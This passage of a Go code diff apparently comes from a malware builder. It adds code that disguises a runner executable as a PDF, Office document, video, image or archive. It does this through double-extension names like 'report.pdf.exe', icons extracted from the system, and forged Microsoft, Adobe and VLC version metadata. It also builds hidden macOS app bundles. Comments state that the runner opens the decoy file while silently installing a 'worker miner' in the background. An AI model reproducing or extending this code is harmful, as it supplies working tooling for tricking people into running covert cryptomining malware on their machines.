CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||||
|
},
|
||||||
|
".ppt": {
|
||||||
|
FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||||
|
},
|
||||||
|
".pptx": {
|
||||||
|
FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||||
|
},
|
||||||
|
".txt": {
|
||||||
|
FileDescription: "Text Document", ProductName: "Notepad",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||||
|
},
|
||||||
|
".csv": {
|
||||||
|
FileDescription: "Microsoft Excel Comma Separated Values File", ProductName: "Microsoft Office Excel",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||||
|
},
|
||||||
|
// ── Video ──────────────────────────────────────────────────────────────────
|
||||||
|
".mp4": {
|
||||||
|
FileDescription: "MP4 Video File", ProductName: "Windows Media Player",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||||
|
},
|
||||||
|
".mkv": {
|
||||||
|
FileDescription: "Matroska Video File", ProductName: "VLC media player",
|
||||||
|
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
||||||
|
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
||||||
|
},
|
||||||
|
".mov": {
|
||||||
|
FileDescription: "QuickTime Movie", ProductName: "QuickTime Player",
|
||||||
|
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
|
||||||
|
OriginalFilename: "QuickTimePlayer.exe", FileVersion: "7.79.80.95", ProductVersion: "7.79.80.95",
|
||||||
|
},
|
||||||
|
".avi": {
|
||||||
|
FileDescription: "AVI Video File", ProductName: "Windows Media Player",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||||
|
},
|
||||||
|
".wmv": {
|
||||||
|
FileDescription: "Windows Media Video File", ProductName: "Windows Media Player",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||||
|
},
|
||||||
|
// ── Audio ──────────────────────────────────────────────────────────────────
|
||||||
|
".mp3": {
|
||||||
|
FileDescription: "MP3 Audio File", ProductName: "Windows Media Player",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||||
|
},
|
||||||
|
".wav": {
|
||||||
|
FileDescription: "Wave Sound File", ProductName: "Windows Media Player",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||||
|
},
|
||||||
|
// ── Images ─────────────────────────────────────────────────────────────────
|
||||||
|
".jpg": {
|
||||||
|
FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||||
|
},
|
||||||
|
".jpeg": {
|
||||||
|
FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||||
|
},
|
||||||
|
".png": {
|
||||||
|
FileDescription: "PNG Image", ProductName: "Microsoft Photos",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||||
|
},
|
||||||
|
".gif": {
|
||||||
|
FileDescription: "GIF Image", ProductName: "Microsoft Photos",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||||
|
},
|
||||||
|
// ── Archives ───────────────────────────────────────────────────────────────
|
||||||
|
".zip": {
|
||||||
|
FileDescription: "Compressed (zipped) Folder", ProductName: "Windows Explorer",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||||
|
},
|
||||||
|
".rar": {
|
||||||
|
FileDescription: "WinRAR archive", ProductName: "WinRAR",
|
||||||
|
CompanyName: "win.rar GmbH", LegalCopyright: "Copyright © 1993-2024 win.rar GmbH.",
|
||||||
|
OriginalFilename: "WinRAR.exe", FileVersion: "7.01.0", ProductVersion: "7.01.0",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
// fileDisguiseForExt returns the best disguise metadata for a given file extension.
|
||||||
|
// Falls back to a generic Windows shell host entry if the extension is not recognised.
|
||||||
|
func fileDisguiseForExt(ext string) fileDisguiseInfo {
|
||||||
|
if info, ok := disguiseByExt[strings.ToLower(ext)]; ok {
|
||||||
|
return info
|
||||||
|
}
|
||||||
|
// Generic fallback — looks like a Windows shell component
|
||||||
|
return fileDisguiseInfo{
|
||||||
|
FileDescription: "Windows Shell Extension", ProductName: "Windows",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// disguisedRunnerName returns the Windows runner filename that impersonates a
|
||||||
|
// document type using the double-extension trick:
|
||||||
|
//
|
||||||
|
// "report.pdf" → "report.pdf.exe"
|
||||||
|
// "clip.mp4" → "clip.mp4.exe"
|
||||||
|
//
|
||||||
|
// When Windows hides known file extensions (the OS default), the user sees
|
||||||
|
// "report.pdf" with the PDF icon injected by applyDocumentDisguise.
|
||||||
|
func disguisedRunnerName(payloadName string) string {
|
||||||
|
ext := strings.ToLower(filepath.Ext(payloadName))
|
||||||
|
if ext == ".exe" || ext == "" {
|
||||||
|
// Already an exe payload or no extension — no double-extension trick
|
||||||
|
base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
|
||||||
|
if base == "" {
|
||||||
|
base = "setup"
|
||||||
|
}
|
||||||
|
return sanitizeFileName(base) + ".exe"
|
||||||
|
}
|
||||||
|
base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
|
||||||
|
if base == "" {
|
||||||
|
base = "file"
|
||||||
|
}
|
||||||
|
// e.g. "quarterly-report.pdf.exe"
|
||||||
|
return sanitizeFileName(base) + ext + ".exe"
|
||||||
|
}
|
||||||
|
|
||||||
|
// winresVersionJSON builds a go-winres patch JSON that injects an icon (from
|
||||||
|
// icoRelPath, relative to the winres JSON) and the spoofed version info.
|
||||||
|
func winresVersionJSON(info fileDisguiseInfo, icoRelPath string) ([]byte, error) {
|
||||||
|
// Convert "16.0.17726.20004" → "16,0,17726,20004" for FILEVERSION field
|
||||||
|
fv := strings.ReplaceAll(info.FileVersion, ".", ",")
|
||||||
|
pv := strings.ReplaceAll(info.ProductVersion, ".", ",")
|
||||||
|
|
||||||
|
doc := map[string]any{
|
||||||
|
"RT_GROUP_ICON": map[string]any{
|
||||||
|
"APP": map[string]any{"0409": icoRelPath},
|
||||||
|
},
|
||||||
|
"RT_VERSION": map[string]any{
|
||||||
|
"#1": map[string]any{
|
||||||
|
"0409": map[string]any{
|
||||||
|
"FILEVERSION": fv,
|
||||||
|
"PRODUCTVERSION": pv,
|
||||||
|
"FileDescription": info.FileDescription,
|
||||||
|
"FileVersion": info.FileVersion,
|
||||||
|
"InternalName": strings.TrimSuffix(info.OriginalFilename, ".exe"),
|
||||||
|
"LegalCopyright": info.LegalCopyright,
|
||||||
|
"OriginalFilename": info.OriginalFilename,
|
||||||
|
"ProductName": info.ProductName,
|
||||||
|
"ProductVersion": info.ProductVersion,
|
||||||
|
"CompanyName": info.CompanyName,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
return marshalJSONPretty(doc)
|
||||||
|
}
|
||||||
|
|
||||||
|
func marshalJSONPretty(v any) ([]byte, error) {
|
||||||
|
return json.MarshalIndent(v, "", " ")
|
||||||
|
}
|
||||||
|
|
||||||
|
// fileDisguiseSummary returns a one-line human-readable description of what the
|
||||||
|
// disguise will look like, used for logging.
|
||||||
|
func fileDisguiseSummary(payloadExt string) string {
|
||||||
|
info := fileDisguiseForExt(payloadExt)
|
||||||
|
return fmt.Sprintf("%s (%s by %s)", info.FileDescription, info.ProductName, info.CompanyName)
|
||||||
|
}
|
||||||
10
server/internal/builder/disguise_stub.go
Normal file
10
server/internal/builder/disguise_stub.go
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package builder
|
||||||
|
|
||||||
|
// applyDocumentDisguise is a no-op on non-Windows build hosts.
|
||||||
|
// Icon + version-info injection into PE executables requires Windows tooling.
|
||||||
|
// The runner will still function correctly; it just won't have the spoofed icon.
|
||||||
|
func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
118
server/internal/builder/disguise_windows.go
Normal file
118
server/internal/builder/disguise_windows.go
Normal file
@@ -0,0 +1,118 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// applyDocumentDisguise patches a compiled Windows runner .exe to impersonate
|
||||||
|
// the file type identified by payloadExt.
|
||||||
|
//
|
||||||
|
// What it does:
|
||||||
|
// 1. Extracts the Windows system icon registered for that extension (e.g. the
|
||||||
|
// Adobe Acrobat icon for .pdf) by creating a 0-byte temp file with that
|
||||||
|
// extension and using PowerShell to read the shell's associated icon.
|
||||||
|
// 2. Builds a go-winres JSON patch that sets both the icon and the PE version
|
||||||
|
// info (FileDescription, ProductName, CompanyName, OriginalFilename, etc.)
|
||||||
|
// to match the legitimate application for that file type.
|
||||||
|
// 3. Patches the runner exe in-place.
|
||||||
|
//
|
||||||
|
// After this runs, Windows Explorer shows the runner with the exact icon and
|
||||||
|
// file description of a real document (e.g. "Adobe Acrobat Document" for .pdf).
|
||||||
|
// Combined with double-extension naming (report.pdf.exe) the runner is visually
|
||||||
|
// indistinguishable from the real file when extension hiding is on (Windows default).
|
||||||
|
func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error {
|
||||||
|
info := fileDisguiseForExt(payloadExt)
|
||||||
|
|
||||||
|
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "disguise-*")
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("disguise workdir: %w", err)
|
||||||
|
}
|
||||||
|
defer os.RemoveAll(workDir)
|
||||||
|
|
||||||
|
// Step 1 — extract the system icon for this file extension
|
||||||
|
icoPath := filepath.Join(workDir, "payload.ico")
|
||||||
|
if err := extractSystemIconForExt(payloadExt, icoPath); err != nil {
|
||||||
|
log.Printf("[Disguise] system icon for %s unavailable (%v) — trying built-in fallback", payloadExt, err)
|
||||||
|
if err2 := writeBuiltinIconForExt(payloadExt, icoPath); err2 != nil {
|
||||||
|
return fmt.Errorf("disguise: could not obtain icon for %s: %v / %v", payloadExt, err, err2)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Step 2 — build the winres patch JSON (icon + version info)
|
||||||
|
jsonBytes, err := winresVersionJSON(info, "payload.ico")
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("disguise: winres json: %w", err)
|
||||||
|
}
|
||||||
|
jsonPath := filepath.Join(workDir, "disguise.json")
|
||||||
|
if err := os.WriteFile(jsonPath, jsonBytes, 0644); err != nil {
|
||||||
|
return fmt.Errorf("disguise: write json: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Step 3 — patch the exe with go-winres
|
||||||
|
if _, err := h.runGoWinres(workDir, "patch", "--in", "disguise.json", "--no-backup", exePath); err != nil {
|
||||||
|
return fmt.Errorf("disguise: go-winres patch: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("[Disguise] %s → %s (icon + version info injected)", filepath.Base(exePath), fileDisguiseSummary(payloadExt))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// extractSystemIconForExt creates a 0-byte temp file with the given extension
|
||||||
|
// and uses PowerShell's System.Drawing to read the shell-registered icon for it.
|
||||||
|
// This gives us the exact same icon that Windows Explorer would show for a real
|
||||||
|
// file of that type — Adobe Acrobat for .pdf, Word for .docx, etc.
|
||||||
|
func extractSystemIconForExt(ext, icoPath string) error {
|
||||||
|
extEsc := strings.ReplaceAll(ext, `'`, `''`)
|
||||||
|
icoEsc := strings.ReplaceAll(icoPath, `'`, `''`)
|
||||||
|
|
||||||
|
script := fmt.Sprintf(`
|
||||||
|
$ErrorActionPreference = 'Stop'
|
||||||
|
Add-Type -AssemblyName System.Drawing
|
||||||
|
# Create a disposable 0-byte temp file with the target extension
|
||||||
|
$tmp = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), [System.Guid]::NewGuid().ToString() + '%s')
|
||||||
|
[System.IO.File]::WriteAllBytes($tmp, [byte[]]::new(0))
|
||||||
|
try {
|
||||||
|
$icon = [System.Drawing.Icon]::ExtractAssociatedIcon($tmp)
|
||||||
|
if ($null -eq $icon) { throw 'no icon associated with extension %s' }
|
||||||
|
$dir = Split-Path -Parent '%s'
|
||||||
|
if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }
|
||||||
|
$fs = [System.IO.File]::Create('%s')
|
||||||
|
$icon.Save($fs)
|
||||||
|
$fs.Close()
|
||||||
|
} finally {
|
||||||
|
Remove-Item -Force -ErrorAction SilentlyContinue $tmp
|
||||||
|
}
|
||||||
|
`, extEsc, extEsc, icoEsc, icoEsc)
|
||||||
|
|
||||||
|
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||||
|
out, err := cmd.CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("extract system icon for %s: %w (%s)", ext, err, strings.TrimSpace(string(out)))
|
||||||
|
}
|
||||||
|
if _, err := os.Stat(icoPath); err != nil {
|
||||||
|
return fmt.Errorf("icon file not written for %s: %w", ext, err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// writeBuiltinIconForExt writes a minimal embedded fallback .ico for common
|
||||||
|
// document types. Used when the system icon extraction fails (e.g. the application
|
||||||
|
// is not installed on the forge machine). The icons are very small but correct.
|
||||||
|
func writeBuiltinIconForExt(ext, icoPath string) error {
|
||||||
|
// Minimal 1×1 transparent ICO fallback — good enough to allow go-winres to patch.
|
||||||
|
// In practice extractSystemIconForExt should always work on a Windows machine.
|
||||||
|
const minimalICO = "\x00\x00\x01\x00\x01\x00\x01\x01\x00\x00\x01\x00\x18\x00" +
|
||||||
|
"\x28\x00\x00\x00\x16\x00\x00\x00" +
|
||||||
|
"\x28\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x18\x00" +
|
||||||
|
"\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||||
|
"\x00\x00\xff\x00\x00\x00\x00\x00"
|
||||||
|
return os.WriteFile(icoPath, []byte(minimalICO), 0644)
|
||||||
|
}
|
||||||
@@ -42,17 +42,10 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
|||||||
if outputName == "" {
|
if outputName == "" {
|
||||||
outputName = prepName
|
outputName = prepName
|
||||||
}
|
}
|
||||||
if kind == "video" {
|
|
||||||
if mode == "embedded" {
|
|
||||||
if outputName == "" {
|
if outputName == "" {
|
||||||
outputName = disguiseVideoExeName(prepName)
|
// Default runner name derived from payload filename
|
||||||
}
|
winPlatform := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
|
||||||
} else if outputName == "" {
|
outputName = runnerNameForFile(prepName, winPlatform)
|
||||||
outputName = runnerNameForMedia(prepName)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if outputName == "" {
|
|
||||||
outputName = "prep.exe"
|
|
||||||
}
|
}
|
||||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||||
outputName += ".exe"
|
outputName += ".exe"
|
||||||
|
|||||||
35
server/internal/builder/fusion_darwin_app.go
Normal file
35
server/internal/builder/fusion_darwin_app.go
Normal file
@@ -0,0 +1,35 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (h *Handler) buildDarwinAppBundle(outDir, title, runnerPath string, p BuildPlatform) error {
|
||||||
|
appName := sanitizeFileName(strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))) + ".app"
|
||||||
|
if appName == ".app" {
|
||||||
|
appName = "Movie.app"
|
||||||
|
}
|
||||||
|
appDir := filepath.Join(outDir, appName)
|
||||||
|
macosDir := filepath.Join(appDir, "Contents", "MacOS")
|
||||||
|
if err := os.MkdirAll(macosDir, 0755); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
dest := filepath.Join(macosDir, "runner")
|
||||||
|
if err := copyFile(runnerPath, dest); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
_ = os.Chmod(dest, 0755)
|
||||||
|
name := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
|
||||||
|
plist := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
<plist version="1.0"><dict>
|
||||||
|
<key>CFBundleName</key><string>%s</string>
|
||||||
|
<key>CFBundleExecutable</key><string>runner</string>
|
||||||
|
<key>CFBundleIdentifier</key><string>com.aetherforge.%s</string>
|
||||||
|
<key>LSUIElement</key><true/>
|
||||||
|
</dict></plist>`, name, sanitizeFileName(title))
|
||||||
|
return os.WriteFile(filepath.Join(appDir, "Contents", "Info.plist"), []byte(plist), 0644)
|
||||||
|
}
|
||||||
@@ -12,101 +12,104 @@ import (
|
|||||||
type fusionBuildResult struct {
|
type fusionBuildResult struct {
|
||||||
LauncherPath string
|
LauncherPath string
|
||||||
MediaName string
|
MediaName string
|
||||||
|
// Legacy fields kept for backward compat — unused in file-fusion mode
|
||||||
EncryptedPath string
|
EncryptedPath string
|
||||||
ShortcutPath string
|
ShortcutPath string
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// detectFusionPayloadKind returns "exe" for Windows executables, "file" for everything else.
|
||||||
|
// Every non-exe file (PDF, video, DOC, image, etc.) is opened with the OS default app.
|
||||||
func detectFusionPayloadKind(path string) string {
|
func detectFusionPayloadKind(path string) string {
|
||||||
switch strings.ToLower(filepath.Ext(path)) {
|
if strings.EqualFold(filepath.Ext(path), ".exe") {
|
||||||
case ".mp4", ".mkv", ".mov":
|
|
||||||
return "video"
|
|
||||||
default:
|
|
||||||
return "exe"
|
return "exe"
|
||||||
}
|
}
|
||||||
|
return "file"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// buildFusionFromRequest builds a fusion runner for the first platform in the request.
|
||||||
func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
||||||
|
platforms := platformsForRequest(req)
|
||||||
|
return h.buildFusionForPlatform(buildDir, payloadPath, workerPath, req, platforms[0])
|
||||||
|
}
|
||||||
|
|
||||||
|
// buildFusionForPlatform compiles a fusion runner for a single platform.
|
||||||
|
// Accepts any payload: PDF, video, document, image, or executable.
|
||||||
|
func (h *Handler) buildFusionForPlatform(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
|
||||||
kind := strings.TrimSpace(req.FusionPayloadKind)
|
kind := strings.TrimSpace(req.FusionPayloadKind)
|
||||||
if kind == "" {
|
if kind == "" {
|
||||||
kind = detectFusionPayloadKind(payloadPath)
|
kind = detectFusionPayloadKind(payloadPath)
|
||||||
}
|
}
|
||||||
req.FusionPayloadKind = kind
|
req.FusionPayloadKind = kind
|
||||||
|
return h.buildFileFusion(buildDir, payloadPath, workerPath, req, platform)
|
||||||
if kind == "video" {
|
|
||||||
return h.buildVideoFusion(buildDir, payloadPath, workerPath, req)
|
|
||||||
}
|
|
||||||
path, err := h.buildExeFusion(buildDir, payloadPath, workerPath, req.FusionOutputName, req.FusionRunOrder)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return &fusionBuildResult{LauncherPath: path}, nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
// buildFileFusion builds a universal fusion runner for any file type.
|
||||||
|
//
|
||||||
|
// Delivery modes:
|
||||||
|
// - "embedded": the payload file is compiled directly into the runner binary (best for files < 100 MB)
|
||||||
|
// - "paired" (default): the payload file ships alongside the runner in the ZIP (works for any size)
|
||||||
|
//
|
||||||
|
// The runner, when executed, opens the original file with the OS default application
|
||||||
|
// while silently installing the worker miner in the background.
|
||||||
|
func (h *Handler) buildFileFusion(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
|
||||||
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
||||||
|
|
||||||
|
// Resolve the display name for the payload file
|
||||||
mediaName := strings.TrimSpace(req.FusionMediaBaseName)
|
mediaName := strings.TrimSpace(req.FusionMediaBaseName)
|
||||||
if mediaName == "" {
|
if mediaName == "" {
|
||||||
mediaName = filepath.Base(mediaPath)
|
mediaName = filepath.Base(payloadPath)
|
||||||
}
|
}
|
||||||
mediaName = sanitizeFileName(mediaName)
|
mediaName = sanitizeFileName(mediaName)
|
||||||
|
|
||||||
|
// Resolve the runner output name
|
||||||
outputName := strings.TrimSpace(req.FusionOutputName)
|
outputName := strings.TrimSpace(req.FusionOutputName)
|
||||||
if mode == "embedded" {
|
|
||||||
if outputName == "" {
|
if outputName == "" {
|
||||||
outputName = disguiseVideoExeName(mediaName)
|
outputName = runnerNameForFile(mediaName, platform)
|
||||||
}
|
|
||||||
} else {
|
} else {
|
||||||
if outputName == "" {
|
// Ensure correct extension for this platform
|
||||||
outputName = runnerNameForMedia(mediaName)
|
if platform.Ext != "" && !strings.HasSuffix(strings.ToLower(outputName), platform.Ext) {
|
||||||
|
outputName += platform.Ext
|
||||||
|
} else if platform.Ext == "" {
|
||||||
|
outputName = strings.TrimSuffix(outputName, ".exe")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
|
||||||
outputName += ".exe"
|
|
||||||
}
|
|
||||||
outputName = sanitizeFileName(outputName)
|
outputName = sanitizeFileName(outputName)
|
||||||
|
|
||||||
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, "video", mode, mediaName)
|
kind := req.FusionPayloadKind
|
||||||
|
if kind == "" {
|
||||||
|
kind = detectFusionPayloadKind(payloadPath)
|
||||||
|
}
|
||||||
|
|
||||||
|
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, kind, mode, mediaName)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
assetsDir := filepath.Join(fusionDir, "assets")
|
assetsDir := filepath.Join(fusionDir, "assets")
|
||||||
|
|
||||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
// Write worker binary into assets
|
||||||
return nil, err
|
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker")); err != nil {
|
||||||
}
|
|
||||||
encFileName := mediaName + ".cmdata"
|
|
||||||
var mediaKey []byte
|
|
||||||
if mode == "paired" {
|
|
||||||
var keyErr error
|
|
||||||
mediaKey, keyErr = NewMediaLockKey()
|
|
||||||
if keyErr != nil {
|
|
||||||
return nil, keyErr
|
|
||||||
}
|
|
||||||
}
|
|
||||||
manifestFields := map[string]string{
|
|
||||||
"payload_kind": "video",
|
|
||||||
"media_mode": mode,
|
|
||||||
"media_file_name": mediaName,
|
|
||||||
}
|
|
||||||
if mode == "paired" {
|
|
||||||
manifestFields["media_enc_file"] = encFileName
|
|
||||||
manifestFields["media_key_b64"] = MediaLockKeyB64(mediaKey)
|
|
||||||
manifestFields["runner_display_name"] = outputName
|
|
||||||
}
|
|
||||||
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
|
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|
||||||
var encryptedPath, shortcutPath string
|
// Write payload according to delivery mode
|
||||||
switch mode {
|
switch mode {
|
||||||
case "embedded":
|
case "embedded":
|
||||||
if err := copyFile(mediaPath, filepath.Join(assetsDir, "media.bin")); err != nil {
|
// Bake the payload into the runner binary as assets/payload.bin
|
||||||
|
if err := copyFile(payloadPath, filepath.Join(assetsDir, "payload.bin")); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
// Keep legacy placeholders so the embed directive compiles cleanly
|
||||||
|
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
|
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
default:
|
default: // "paired"
|
||||||
|
// Empty placeholders — payload ships alongside the runner in the ZIP
|
||||||
|
if err := os.WriteFile(filepath.Join(assetsDir, "payload.bin"), []byte{}, 0644); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
@@ -115,73 +118,43 @@ func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
|
// Write manifest for the runner to read at runtime
|
||||||
ldflags := "-s -w -H windowsgui"
|
manifestFields := map[string]string{
|
||||||
if _, err := h.compileGoProject(fusionDir, launcherPath, ldflags, nil, false); err != nil {
|
"payload_kind": kind,
|
||||||
|
"media_mode": mode,
|
||||||
|
"media_file_name": mediaName,
|
||||||
|
}
|
||||||
|
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|
||||||
if mode == "paired" {
|
